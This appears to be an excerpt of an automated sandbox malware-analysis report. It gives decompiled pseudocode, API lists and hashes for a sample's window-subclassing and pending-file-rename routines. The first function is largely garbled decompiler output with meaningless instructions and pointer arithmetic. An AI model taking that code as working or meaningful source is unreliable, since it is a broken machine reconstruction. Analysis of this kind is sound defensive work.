                                                          						 *((intOrPtr*)(_t364 - 0x3fffbe7e)) =  *((intOrPtr*)(_t364 - 0x3fffbe7e)) + _t364;
                                                          						_t475 =  &_a1;
                                                          					} else {
                                                          						if(_t563 == 0) {
                                                          							L128:
                                                          							_t364 = _t392 + 1;
                                                          							 *((intOrPtr*)(_t364 + _t451 + 0x41)) =  *((intOrPtr*)(_t364 + _t451 + 0x41)) + _t470;
                                                          							goto L129;
                                                          						} else {
                                                          							asm("insd");
                                                          							goto L121;
                                                          						}
                                                          					}
                                                          				}
                                                          				_t435 =  &(_t432[0]);
                                                          				 *((intOrPtr*)(_t474 + 0x41 + _t364 * 2)) =  *((intOrPtr*)(_t474 + 0x41 + _t364 * 2)) + _t470;
                                                          				 *((intOrPtr*)(_t480 + _t435 * 2)) =  *((intOrPtr*)(_t480 + _t435 * 2)) + _t470;
                                                          				do {
                                                          					 *((intOrPtr*)(_t480 + _t475 * 2)) =  *((intOrPtr*)(_t480 + _t475 * 2)) + _t470;
                                                          					_t435 = _t435 + 2;
                                                          					_t365 = _t364 + _t470;
                                                          					 *_t435 =  *_t435 + 0x1c;
                                                          					 *_t435 =  *_t435 + 0xffffffe8;
                                                          					if( *_t435 > 0) {
                                                          						_t365->i = _t365 + _t365->i;
                                                          						 *_t435 =  *_t435 + 0x28;
                                                          						asm("popad");
                                                          						_t440 = _t435 + 1;
                                                          						 *((intOrPtr*)(_t365 + 0x41 + _t475 * 2)) =  *((intOrPtr*)(_t365 + 0x41 + _t475 * 2)) + _t405;
                                                          						 *((intOrPtr*)(_t470 + _t440 * 4)) =  *((intOrPtr*)(_t470 + _t440 * 4)) + _t365;
                                                          						_t441 = _t440 + 1;
                                                          						 *((intOrPtr*)(_t365 + 0x67)) =  *((intOrPtr*)(_t365 + 0x67)) + _t441;
                                                          						_t442 = _t441 + 1;
                                                          						_t365->i = _t365->i + _t442;
                                                          						 *((intOrPtr*)(_t365 + _t475 * 2)) =  *((intOrPtr*)(_t365 + _t475 * 2)) + _t365;
                                                          						_t444 = _t442 + 2;
                                                          						 *((intOrPtr*)(_t473 - 0x730bffbf)) =  *((intOrPtr*)(_t473 - 0x730bffbf)) + _t444;
                                                          						_t445 = _t444 + 1;
                                                          						_t365->i = _t365->i + _t405;
                                                          						 *_t445 =  *_t445 + E0041839C;
                                                          						 *(_t470 - 0x7443ffbf) =  *(_t470 - 0x7443ffbf) ^ _t445;
                                                          						_t435 = _t445 + 1;
                                                          						_t365 =  *_t435;
                                                          						_t365->i = _t365 + _t365->i;
                                                          						asm("adc dh, [eax+0x418b30]");
                                                          					}
                                                          					_t470 = _t470 |  *(_t365 + 0x69 + _t435 * 2);
                                                          					asm("outsb");
                                                          					if(_t470 == 0) {
                                                          						L143:
                                                          						asm("lock mov eax, [ebp+0x8]");
                                                          						if((GetWindowLongA(_t365, ??) & 0x40000000) != 0 && GetWindowLongA(_a8, 0xfffffff4) == 0) {
                                                          							SetWindowLongA(_a8, 0xfffffff4, _a8);
                                                          						}
                                                          						_t367 =  *0x48c2dc; // 0x0
                                                          						_push(_t367);
                                                          						_push( *0x48d5c8 & 0x0000ffff);
                                                          					} else {
                                                          						goto L138;
                                                          					}
                                                          					L147:
                                                          					SetPropA(_a8, ??, ??);
                                                          					_t371 =  *0x48c2dc; // 0x0
                                                          					SetPropA(_a8,  *0x48d5c6 & 0x0000ffff, _t371);
                                                          					_t375 =  *0x48c2dc; // 0x0
                                                          					 *0x48c2dc = 0; // executed
                                                          					_v4 =  *((intOrPtr*)(_t375 + 0xa8))(_a8, _a12, _a16, _a20);
                                                          					return  *_t405;
                                                          					L138:
                                                          					_push(_t480);
                                                          					_t364 = _t365 - 1;
                                                          					_t475 =  *(_t474 + 0x74) * 0x646e6957;
                                                          					asm("outsd");
                                                          				} while (_t475 > 0);
                                                          				asm("aaa");
                                                          				 *_t364 =  *_t364 + _t405;
                                                          				asm("aaa");
                                                          				_t439 = _t435 + 2;
                                                          				 *_t439 =  *_t439 + _t439;
                                                          				 *_t364 =  *_t364 + _t439;
                                                          				_t405 = _t405 + 1;
                                                          				_t580 = _t405;
                                                          				asm("outsd");
                                                          				asm("outsb");
                                                          				if(_t580 != 0) {
                                                          					asm("outsd");
                                                          					asm("insb");
                                                          					if (_t580 >= 0) goto L141;
                                                          					 *((intOrPtr*)(_t405 - 0x1374aa40)) =  *((intOrPtr*)(_t405 - 0x1374aa40)) + _t439;
                                                          					_push(_t475);
                                                          					_push(_t439);
                                                          					_push(_t405);
                                                          					_t405 =  &_v24;
                                                          					_t383 =  *0x48c2dc; // 0x0
                                                          					 *((intOrPtr*)(_t383 + 0xc0)) = _v12;
                                                          					_t384 =  *0x48c2dc; // 0x0
                                                          					_t365 = SetWindowLongA(_v12, 0xfffffffc,  *(_t384 + 0xa8));
                                                          					_push(0xfffffff0);
                                                          					goto L143;
                                                          				}
                                                          				goto L147;
                                                          			}




























































































                                                          0x00413438
                                                          0x00413438
                                                          0x00413438
                                                          0x00413438
                                                          0x00413438
                                                          0x00413439
                                                          0x0041343b
                                                          0x0041347f
                                                          0x0041347f
                                                          0x004134c2
                                                          0x00413481
                                                          0x00413481
                                                          0x00000000
                                                          0x00413481
                                                          0x0041343d
                                                          0x0041343d
                                                          0x0041343f
                                                          0x00413482
                                                          0x00413482
                                                          0x00413484
                                                          0x00413441
                                                          0x00413441
                                                          0x00413444
                                                          0x00413445
                                                          0x00413445
                                                          0x0041344b
                                                          0x0041348e
                                                          0x00413508
                                                          0x00413490
                                                          0x00413490
                                                          0x00413491
                                                          0x00413491
                                                          0x00413491
                                                          0x00000000
                                                          0x00413491
                                                          0x0041344d
                                                          0x0041344d
                                                          0x0041344f
                                                          0x00413492
                                                          0x00413492
                                                          0x00413493
                                                          0x004134d6
                                                          0x0041351a
                                                          0x0041351b
                                                          0x00000000
                                                          0x0041351d
                                                          0x0041351d
                                                          0x00000000
                                                          0x0041351d
                                                          0x004134d9
                                                          0x004134d9
                                                          0x004134d9
                                                          0x004134d9
                                                          0x00000000
                                                          0x004134d9
                                                          0x00413495
                                                          0x00413495
                                                          0x00413495
                                                          0x00000000
                                                          0x00413495
                                                          0x00413451
                                                          0x00413451
                                                          0x00413453
                                                          0x00413496
                                                          0x00413496
                                                          0x00413497
                                                          0x004134da
                                                          0x004134da
                                                          0x004134db
                                                          0x0041351e
                                                          0x0041351e
                                                          0x00000000
                                                          0x004134dd
                                                          0x004134dd
                                                          0x004134dd
                                                          0x004134dd
                                                          0x00000000
                                                          0x004134dd
                                                          0x00413499
                                                          0x00413499
                                                          0x0041349b
                                                          0x004134de
                                                          0x004134de
                                                          0x004134df
                                                          0x00413522
                                                          0x00413522
                                                          0x00413524
                                                          0x004134e1
                                                          0x004134e1
                                                          0x00000000
                                                          0x004134e1
                                                          0x0041349d
                                                          0x0041349d
                                                          0x0041349d
                                                          0x0041349d
                                                          0x00000000
                                                          0x0041349d
                                                          0x0041349b
                                                          0x00413455
                                                          0x00413455
                                                          0x00413458
                                                          0x00413459
                                                          0x0041345b
                                                          0x0041349e
                                                          0x0041349e
                                                          0x004134a3
                                                          0x004134e6
                                                          0x004134e6
                                                          0x004134e9
                                                          0x004134eb
                                                          0x0041352e
                                                          0x0041352f
                                                          0x00000000
                                                          0x00413531
                                                          0x00413531
                                                          0x00000000
                                                          0x00413531
                                                          0x004134ed
                                                          0x004134ed
                                                          0x004134ef
                                                          0x00413532
                                                          0x00413532
                                                          0x00413533
                                                          0x00000000
                                                          0x00413535
                                                          0x00413535
                                                          0x00000000
                                                          0x00413535
                                                          0x004134f1
                                                          0x004134f1
                                                          0x004134f1
                                                          0x00000000
                                                          0x004134f1
                                                          0x004134ef
                                                          0x004134a5
                                                          0x004134a5
                                                          0x00000000
                                                          0x004134a5
                                                          0x0041345d
                                                          0x0041345d
                                                          0x00413461
                                                          0x00413463
                                                          0x004134a6
                                                          0x004134a6
                                                          0x004134a9
                                                          0x004134ac
                                                          0x004134ad
                                                          0x004134ad
                                                          0x004134ad
                                                          0x00000000
                                                          0x00413465
                                                          0x00413465
                                                          0x00413468
                                                          0x00413469
                                                          0x0041346b
                                                          0x004134ae
                                                          0x004134ae
                                                          0x004134af
                                                          0x004134f2
                                                          0x004134f2
                                                          0x004134f3
                                                          0x00413536
                                                          0x00413536
                                                          0x00413538
                                                          0x00413539
                                                          0x0041353a
                                                          0x0041353c
                                                          0x0041353d
                                                          0x0041353e
                                                          0x00413542
                                                          0x00413542
                                                          0x00413542
                                                          0x00413546
                                                          0x00413547
                                                          0x00413547
                                                          0x0041354a
                                                          0x0041354e
                                                          0x0041354f
                                                          0x00413550
                                                          0x00413551
                                                          0x00413552
                                                          0x004135c6
                                                          0x004135c6
                                                          0x004135c7
                                                          0x004135c9
                                                          0x004135cb
                                                          0x004135cf
                                                          0x004135d1
                                                          0x004135d4
                                                          0x00000000
                                                          0x00413554
                                                          0x00413554
                                                          0x00413555
                                                          0x00413558
                                                          0x00413559
                                                          0x0041355d
                                                          0x0041355e
                                                          0x0041355e
                                                          0x0041355f
                                                          0x00413560
                                                          0x00413561
                                                          0x004135d5
                                                          0x004135d5
                                                          0x004135db
                                                          0x00000000
                                                          0x00413563
                                                          0x00413563
                                                          0x00413564
                                                          0x00413565
                                                          0x00413566
                                                          0x00413569
                                                          0x0041356a
                                                          0x0041356d
                                                          0x0041356f
                                                          0x0041356f
                                                          0x0041356f
                                                          0x00413572
                                                          0x00413572
                                                          0x00413573
                                                          0x004135e7
                                                          0x004135e7
                                                          0x004135ed
                                                          0x004135ef
                                                          0x004135f2
                                                          0x004135f3
                                                          0x004135f6
                                                          0x004135f7
                                                          0x004135fe
                                                          0x004135ff
                                                          0x00000000
                                                          0x00413575
                                                          0x00413575
                                                          0x00413576
                                                          0x00413576
                                                          0x00413577
                                                          0x00413579
                                                          0x00413579
                                                          0x0041357a
                                                          0x0041357b
                                                          0x00413582
                                                          0x00413584
                                                          0x00413586
                                                          0x00413588
                                                          0x0041358a
                                                          0x0041358c
                                                          0x00413592
                                                          0x00413594
                                                          0x00413594
                                                          0x00413597
                                                          0x00413598
                                                          0x004135dd
                                                          0x004135e3
                                                          0x004135e5
                                                          0x004135e6
                                                          0x00000000
                                                          0x0041359a
                                                          0x0041359a
                                                          0x0041359b
                                                          0x0041359c
                                                          0x00413603
                                                          0x00413603
                                                          0x00413609
                                                          0x0041360a
                                                          0x0041360b
                                                          0x0041360f
                                                          0x00413612
                                                          0x00413613
                                                          0x0041359e
                                                          0x0041359e
                                                          0x004135a0
                                                          0x004135a2
                                                          0x004135a4
                                                          0x004135a6
                                                          0x004135a8
                                                          0x004135a9
                                                          0x004135ab
                                                          0x004135ad
                                                          0x004135af
                                                          0x004135b1
                                                          0x004135b3
                                                          0x004135b7
                                                          0x004135ba
                                                          0x004135bb
                                                          0x004135c2
                                                          0x004135c3
                                                          0x00000000
                                                          0x004135c3
                                                          0x0041359e
                                                          0x0041359c
                                                          0x00413598
                                                          0x00413573
                                                          0x00413561
                                                          0x004134f5
                                                          0x004134f5
                                                          0x00000000
                                                          0x004134f5
                                                          0x004134b1
                                                          0x004134b1
                                                          0x004134b1
                                                          0x00000000
                                                          0x004134b1
                                                          0x0041346d
                                                          0x0041346d
                                                          0x0041346f
                                                          0x004134b2
                                                          0x004134b2
                                                          0x004134b3
                                                          0x004134f6
                                                          0x004134f6
                                                          0x004134f8
                                                          0x004134b5
                                                          0x004134b5
                                                          0x00000000
                                                          0x004134b5
                                                          0x00413471
                                                          0x00413471
                                                          0x00413473
                                                          0x004134b6
                                                          0x004134b6
                                                          0x00413475
                                                          0x00413475
                                                          0x00413477
                                                          0x004134ba
                                                          0x00413479
                                                          0x00413479
                                                          0x0041347b
                                                          0x004134be
                                                          0x0041347d
                                                          0x0041347d
                                                          0x0041347d
                                                          0x0041347d
                                                          0x00000000
                                                          0x0041347d
                                                          0x0041347b
                                                          0x00413477
                                                          0x00413473
                                                          0x0041346f
                                                          0x0041346b
                                                          0x00413463
                                                          0x0041345b
                                                          0x00413453
                                                          0x0041344f
                                                          0x0041344b
                                                          0x0041343f
                                                          0x00413614
                                                          0x00413618
                                                          0x0041361b
                                                          0x0041361f
                                                          0x00413625
                                                          0x00413626
                                                          0x00413627
                                                          0x0041362d
                                                          0x0041362f
                                                          0x00413632
                                                          0x00413633
                                                          0x00413635
                                                          0x00413636
                                                          0x00413636
                                                          0x00413637
                                                          0x0041369a
                                                          0x0041369b
                                                          0x0041369d
                                                          0x004136a0
                                                          0x00000000
                                                          0x00413639
                                                          0x00413639
                                                          0x004136a3
                                                          0x004136a5
                                                          0x004136af
                                                          0x004136b1
                                                          0x004136b2
                                                          0x004136b3
                                                          0x00000000
                                                          0x0041363b
                                                          0x0041363b
                                                          0x00413642
                                                          0x00413643
                                                          0x00413644
                                                          0x00413645
                                                          0x00413649
                                                          0x0041364a
                                                          0x004136b4
                                                          0x004136b4
                                                          0x004136b6
                                                          0x004136b7
                                                          0x004136bb
                                                          0x004136be
                                                          0x004136bf
                                                          0x004136c2
                                                          0x004136c3
                                                          0x004136c7
                                                          0x004136ca
                                                          0x004136cb
                                                          0x004136cf
                                                          0x004136d5
                                                          0x004136d6
                                                          0x0041364c
                                                          0x0041364c
                                                          0x00413653
                                                          0x00413654
                                                          0x00413655
                                                          0x00413658
                                                          0x0041365b
                                                          0x0041365c
                                                          0x0041365e
                                                          0x00413660
                                                          0x00413660
                                                          0x00413661
                                                          0x00413662
                                                          0x00413663
                                                          0x00413665
                                                          0x00413666
                                                          0x00413667
                                                          0x00413669
                                                          0x0041366f
                                                          0x00413671
                                                          0x00413673
                                                          0x00413675
                                                          0x00413677
                                                          0x00413679
                                                          0x0041367b
                                                          0x0041367d
                                                          0x0041367f
                                                          0x00413681
                                                          0x00413682
                                                          0x00413683
                                                          0x00413685
                                                          0x00413686
                                                          0x00413687
                                                          0x00413689
                                                          0x0041368b
                                                          0x0041368d
                                                          0x00413690
                                                          0x00413691
                                                          0x00413692
                                                          0x00413693
                                                          0x00413695
                                                          0x00413697
                                                          0x00000000
                                                          0x00413697
                                                          0x00413663
                                                          0x0041364a
                                                          0x00413639
                                                          0x004136d7
                                                          0x004136db
                                                          0x004136df
                                                          0x004136e2
                                                          0x004136e3
                                                          0x004136e5
                                                          0x004136e9
                                                          0x004136ed
                                                          0x00413730
                                                          0x00413730
                                                          0x00413731
                                                          0x00413732
                                                          0x00413733
                                                          0x00000000
                                                          0x00413735
                                                          0x00413735
                                                          0x00413736
                                                          0x00413738
                                                          0x00413739
                                                          0x0041373a
                                                          0x0041373b
                                                          0x0041373b
                                                          0x0041373c
                                                          0x00000000
                                                          0x0041373e
                                                          0x0041373e
                                                          0x00000000
                                                          0x00413740
                                                          0x00413740
                                                          0x00413741
                                                          0x00413742
                                                          0x00413743
                                                          0x00413744
                                                          0x00000000
                                                          0x00413746
                                                          0x00413746
                                                          0x00413747
                                                          0x0041374d
                                                          0x00413752
                                                          0x00413752
                                                          0x00413752
                                                          0x00413755
                                                          0x00413756
                                                          0x00413758
                                                          0x00413759
                                                          0x0041375a
                                                          0x0041375c
                                                          0x00413762
                                                          0x00413764
                                                          0x00413766
                                                          0x00413768
                                                          0x0041376b
                                                          0x0041376d
                                                          0x0041376f
                                                          0x00413771
                                                          0x00413773
                                                          0x00413777
                                                          0x0041377b
                                                          0x0041377d
                                                          0x0041377f
                                                          0x00413785
                                                          0x00413786
                                                          0x00413787
                                                          0x00413789
                                                          0x0041378b
                                                          0x00413791
                                                          0x00413794
                                                          0x00413798
                                                          0x00413799
                                                          0x0041379b
                                                          0x0041379d
                                                          0x00000000
                                                          0x0041379d
                                                          0x00413756
                                                          0x00413744
                                                          0x0041373e
                                                          0x0041373c
                                                          0x004136ef
                                                          0x004136ef
                                                          0x004136f1
                                                          0x004136f5
                                                          0x004136f7
                                                          0x004136fb
                                                          0x004136fd
                                                          0x004136ff
                                                          0x00413702
                                                          0x00413703
                                                          0x00413707
                                                          0x0041370a
                                                          0x0041370b
                                                          0x00413712
                                                          0x00413713
                                                          0x00413715
                                                          0x0041371d
                                                          0x00413720
                                                          0x00413722
                                                          0x00413725
                                                          0x00413728
                                                          0x00413729
                                                          0x0041372a
                                                          0x0041372a
                                                          0x0041372b
                                                          0x004137a0
                                                          0x004137a0
                                                          0x004137a1
                                                          0x004137a4
                                                          0x004137a5
                                                          0x004137a6
                                                          0x004137a7
                                                          0x004137a7
                                                          0x004137aa
                                                          0x004137ab
                                                          0x004137ae
                                                          0x004137af
                                                          0x004137af
                                                          0x004137b1
                                                          0x004137b1
                                                          0x004137b4
                                                          0x004137b8
                                                          0x004137be
                                                          0x004137bf
                                                          0x004137c2
                                                          0x004137c3
                                                          0x004137c9
                                                          0x0041372d
                                                          0x0041372d
                                                          0x0041379e
                                                          0x0041379e
                                                          0x0041379f
                                                          0x00000000
                                                          0x0041372f
                                                          0x0041372f
                                                          0x00000000
                                                          0x0041372f
                                                          0x0041372d
                                                          0x0041372b
                                                          0x004137ca
                                                          0x004137cb
                                                          0x004137cf
                                                          0x004137d2
                                                          0x004137d3
                                                          0x004137d6
                                                          0x004137d7
                                                          0x004137d9
                                                          0x004137dd
                                                          0x004137e1
                                                          0x004137e3
                                                          0x004137e5
                                                          0x004137e9
                                                          0x004137ea
                                                          0x004137eb
                                                          0x004137ef
                                                          0x004137f2
                                                          0x004137f3
                                                          0x004137f6
                                                          0x004137f7
                                                          0x004137fb
                                                          0x004137fe
                                                          0x004137ff
                                                          0x00413806
                                                          0x00413807
                                                          0x00413809
                                                          0x00413810
                                                          0x00413816
                                                          0x00413819
                                                          0x0041381c
                                                          0x0041381e
                                                          0x0041381e
                                                          0x00413824
                                                          0x00413828
                                                          0x00413829
                                                          0x00413882
                                                          0x00413882
                                                          0x00413891
                                                          0x004138ac
                                                          0x004138ac
                                                          0x004138b1
                                                          0x004138b6
                                                          0x004138be
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004138bf
                                                          0x004138c3
                                                          0x004138c8
                                                          0x004138da
                                                          0x004138eb
                                                          0x004138f1
                                                          0x00413901
                                                          0x00413909
                                                          0x0041382b
                                                          0x00413832
                                                          0x00413833
                                                          0x00413834
                                                          0x0041383b
                                                          0x0041383b
                                                          0x0041383e
                                                          0x00413840
                                                          0x00413842
                                                          0x00413843
                                                          0x00413844
                                                          0x00413846
                                                          0x00413848
                                                          0x00413848
                                                          0x00413849
                                                          0x0041384a
                                                          0x0041384b
                                                          0x0041384d
                                                          0x0041384e
                                                          0x0041384f
                                                          0x00413851
                                                          0x00413854
                                                          0x00413857
                                                          0x00413858
                                                          0x00413859
                                                          0x0041385c
                                                          0x00413864
                                                          0x0041386a
                                                          0x0041387c
                                                          0x00413881
                                                          0x00000000
                                                          0x00413881
                                                          0x00000000

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: LongWindow$Prop
                                                          • String ID:
                                                          • API String ID: 3887896539-0
                                                          • Opcode ID: 33bdcee2bb7d5808a0f6ca2336a2ceab4e619e4ec463797d4acc50d747e952f4
                                                          • Instruction ID: 1fa71452372a4662785078c80e95b641273a11410cab06b624535b13854e04e1
                                                          • Opcode Fuzzy Hash: 33bdcee2bb7d5808a0f6ca2336a2ceab4e619e4ec463797d4acc50d747e952f4
                                                          • Instruction Fuzzy Hash: 6D22DF6148E3C05FE71B8B748D6A5D17FA0AE2372572D45DFC4C28B1A3D21D8A87C72A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E00413854(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
                                                          				char _v8;
                                                          				void* _t19;
                                                          				void* _t20;
                                                          				struct HWND__* _t23;
                                                          				void* _t25;
                                                          				void* _t29;
                                                          				void* _t33;
                                                          				intOrPtr* _t41;
                                                          
                                                          				_t41 =  &_v8;
                                                          				_t19 =  *0x48c2dc; // 0x0
                                                          				 *((intOrPtr*)(_t19 + 0xc0)) = _a4;
                                                          				_t20 =  *0x48c2dc; // 0x0
                                                          				_t23 = SetWindowLongA(_a4, 0xfffffffc,  *(_t20 + 0xa8));
                                                          				_push(0xfffffff0);
                                                          				asm("lock mov eax, [ebp+0x8]");
                                                          				if((GetWindowLongA(_t23, ??) & 0x40000000) != 0 && GetWindowLongA(_a4, 0xfffffff4) == 0) {
                                                          					SetWindowLongA(_a4, 0xfffffff4, _a4);
                                                          				}
                                                          				_t25 =  *0x48c2dc; // 0x0
                                                          				SetPropA(_a4, ??, ??);
                                                          				_t29 =  *0x48c2dc; // 0x0
                                                          				SetPropA(_a4,  *0x48d5c6 & 0x0000ffff, _t29);
                                                          				_t33 =  *0x48c2dc; // 0x0
                                                          				 *0x48c2dc = 0; // executed
                                                          				_v8 =  *((intOrPtr*)(_t33 + 0xa8))(_a4, _a8, _a12, _a16,  *0x48d5c8 & 0x0000ffff, _t25);
                                                          				return  *_t41;
                                                          			}











                                                          0x00413859
                                                          0x0041385c
                                                          0x00413864
                                                          0x0041386a
                                                          0x0041387c
                                                          0x00413881
                                                          0x00413882
                                                          0x00413891
                                                          0x004138ac
                                                          0x004138ac
                                                          0x004138b1
                                                          0x004138c3
                                                          0x004138c8
                                                          0x004138da
                                                          0x004138eb
                                                          0x004138f1
                                                          0x00413901
                                                          0x00413909

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: LongWindow$Prop
                                                          • String ID:
                                                          • API String ID: 3887896539-0
                                                          • Opcode ID: 65add3e921d009626a4ebe3be2d81015faf232336a88815e6a4ad0d8fd8a02bf
                                                          • Instruction ID: 4199b02d80d8a211d8eb305604657171f8b5533d28c55a541e1fe8df20ef1375
                                                          • Opcode Fuzzy Hash: 65add3e921d009626a4ebe3be2d81015faf232336a88815e6a4ad0d8fd8a02bf
                                                          • Instruction Fuzzy Hash: 0A11CE75501148BFDF00EF99DC84E9A37E9AB08364F108569F914DB2E1D735D950CB64
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 62%
                                                          			E00453B8C(intOrPtr __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
                                                          				intOrPtr _v8;
                                                          				void* _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				intOrPtr _v24;
                                                          				char _v112;
                                                          				char _v4208;
                                                          				char _v4212;
                                                          				char _v4216;
                                                          				void* _t40;
                                                          				void* _t49;
                                                          				void* _t61;
                                                          				void* _t69;
                                                          				void* _t79;
                                                          				void* _t85;
                                                          				void* _t103;
                                                          				void* _t104;
                                                          				intOrPtr _t109;
                                                          				intOrPtr _t111;
                                                          				intOrPtr _t117;
                                                          				void* _t127;
                                                          				void* _t128;
                                                          				intOrPtr _t130;
                                                          
                                                          				_t127 = _t128;
                                                          				_push(__eax);
                                                          				_t130 = _t128 + 0xffffffffffffef90;
                                                          				_v4212 = 0;
                                                          				_v4216 = 0;
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_v8 = __eax;
                                                          				_push(_t127);
                                                          				_push(0x453d63);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t130;
                                                          				_t40 = E0043021C( &_v112);
                                                          				_push(_t127);
                                                          				_push(0x453d23);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t130;
                                                          				if(E0042DB78(_t40) == 0) {
                                                          					E0042D8B4( &_v4216);
                                                          					E0042C614(_v4216,  &_v4212);
                                                          					E00403708( &_v20, "WININIT.INI", _v4212);
                                                          					_t49 = E0042CE14(__eflags);
                                                          					__eflags = _t49;
                                                          					if(_t49 == 0) {
                                                          						goto L12;
                                                          					} else {
                                                          						_v24 = E0044FF24(_v20, 1, 1, 0, 2);
                                                          						__eflags = 0;
                                                          						_push(_t127);
                                                          						_push(0x453d12);
                                                          						_push( *[fs:edx]);
                                                          						 *[fs:edx] = _t130;
                                                          						while(1) {
                                                          							_t61 = E0045012C(_v24, 0x1000,  &_v4208);
                                                          							__eflags = _t61;
                                                          							if(_t61 == 0) {
                                                          								break;
                                                          							}
                                                          							E00430244( &_v112, _t61,  &_v4208);
                                                          						}
                                                          						__eflags = 0;
                                                          						_pop(_t117);
                                                          						 *[fs:eax] = _t117;
                                                          						_push(0x453d19);
                                                          						return E00402CA0(_v24);
                                                          					}
                                                          				} else {
                                                          					_t69 = E0042DD88(0, "SYSTEM\\CurrentControlSet\\Control\\Session Manager", 0x80000002,  &_v12, 1, 0); // executed
                                                          					if(_t69 == 0) {
                                                          						if(E0042DCC4() != 0) {
                                                          							_push(E004036BC(_v16));
                                                          							_t85 = E0040388C( &_v16);
                                                          							_pop(_t104);
                                                          							E00430244( &_v112, _t104, _t85);
                                                          						}
                                                          						if(E0042DCC4() != 0) {
                                                          							_push(E004036BC(_v16));
                                                          							_t79 = E0040388C( &_v16);
                                                          							_pop(_t103);
                                                          							E00430244( &_v112, _t103, _t79);
                                                          						}
                                                          						RegCloseKey(_v12);
                                                          					}
                                                          					L12:
                                                          					_pop(_t109);
                                                          					 *[fs:eax] = _t109;
                                                          					E004302F4( &_v112, _v8);
                                                          					_pop(_t111);
                                                          					 *[fs:eax] = _t111;
                                                          					_push(0x453d6a);
                                                          					E00403568( &_v4216, 2);
                                                          					return E00403568( &_v20, 2);
                                                          				}
                                                          			}


























                                                          0x00453b8d
                                                          0x00453b95
                                                          0x00453b96
                                                          0x00453b9e
                                                          0x00453ba4
                                                          0x00453baa
                                                          0x00453bad
                                                          0x00453bb0
                                                          0x00453bb5
                                                          0x00453bb6
                                                          0x00453bbb
                                                          0x00453bbe
                                                          0x00453bc4
                                                          0x00453bcb
                                                          0x00453bcc
                                                          0x00453bd1
                                                          0x00453bd4
                                                          0x00453bde
                                                          0x00453c79
                                                          0x00453c8a
                                                          0x00453c9d
                                                          0x00453ca5
                                                          0x00453caa
                                                          0x00453cac
                                                          0x00000000
                                                          0x00453cae
                                                          0x00453cc3
                                                          0x00453cc6
                                                          0x00453cc8
                                                          0x00453cc9
                                                          0x00453cce
                                                          0x00453cd1
                                                          0x00453cd4
                                                          0x00453ce2
                                                          0x00453ce7
                                                          0x00453ce9
                                                          0x00000000
                                                          0x00000000
                                                          0x00453cf5
                                                          0x00453cf5
                                                          0x00453cfc
                                                          0x00453cfe
                                                          0x00453d01
                                                          0x00453d04
                                                          0x00453d11
                                                          0x00453d11
                                                          0x00453be4
                                                          0x00453bf8
                                                          0x00453bff
                                                          0x00453c17
                                                          0x00453c21
                                                          0x00453c25
                                                          0x00453c2f
                                                          0x00453c30
                                                          0x00453c30
                                                          0x00453c47
                                                          0x00453c51
                                                          0x00453c55
                                                          0x00453c5f
                                                          0x00453c60
                                                          0x00453c60
                                                          0x00453c69
                                                          0x00453c69
                                                          0x00453d19
                                                          0x00453d1b
                                                          0x00453d1e
                                                          0x00453d33
                                                          0x00453d3a
                                                          0x00453d3d
                                                          0x00453d40
                                                          0x00453d50
                                                          0x00453d62
                                                          0x00453d62

                                                          APIs
                                                            • Part of subcall function 0042DD88: 6CAA6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,00477FD3,?,00000001,?,?,00477FD3,?,00000001,00000000), ref: 0042DDA4
                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00453D23,?,00000000,00453D63), ref: 00453C69
                                                          Strings
                                                          • PendingFileRenameOperations, xrefs: 00453C08
                                                          • PendingFileRenameOperations2, xrefs: 00453C38
                                                          • SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00453BEC
                                                          • WININIT.INI, xrefs: 00453C98
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A6790Close
